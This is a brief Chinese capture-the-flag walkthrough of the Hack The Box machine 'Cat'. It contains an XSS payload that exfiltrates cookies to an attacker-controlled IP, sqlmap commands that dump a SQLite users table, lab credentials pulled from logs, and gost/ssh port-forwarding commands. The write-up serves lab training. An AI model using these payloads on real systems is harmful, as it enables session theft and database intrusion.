HTB-Cat · Yiyi

fscan

dirsearch扫到git泄露

githacker拉下来

注册账号后发现这里可能有漏洞点

审计代码这里对出了照片的其他选项做了过滤，因此可以从照片入手

貌似是对MIME头做了检验

下面还有一个白名单

那好像不大好注了

看看别的

在view_cat看到打印了这么多内容

其中这几个在前面看到是被waf过滤过的

那么就可以从用户名入手

text

<img src=1 onerror=this.src="http://10.10.16.35:4444/?yiyi="+encodeURIComponent(document.cookie)>

注册登录后注册一只猫

得到审核人员的cookie

替换cookie进入管理员面板

继续审计accept_cat部分的代码，发现没有太多防护措施且通过config可以看出是sqlite

尝试sqlmap注入一下

text

python sqlmap.py -r C:\Users\31702\Desktop\tmp\req.txt --dbms=SQLite --tables --batch --level=5
python sqlmap.py -r C:\Users\31702\Desktop\tmp\req.txt --dbms=SQLite -T users --dump --batch --level=5

得到

text

rosamendoza485@gmail.com      ac369922d560f17d6eeb8b2c7dec498c
rosamendoza485@gmail.com      soyunaprincesarosa

这里跟着wp学到思路了

查看apache日志拿到axel的密码

text

cat /var/log/apache2/access.log | grep axel
aNdZwgC4tI9gnVXv_e3Q

切换用户得到user.txt

开启了3000端口将其穿出来

text

gost -L=tcp://:3000/10.10.11.53:2222
./gost -L=tcp://:2222/127.0.0.1:3000

也可以用ssh转发

text

ssh  rosa@cat.htb -L 3000:127.0.0.1:3000

后面把25端口也穿出来打CVE-2024-6886即可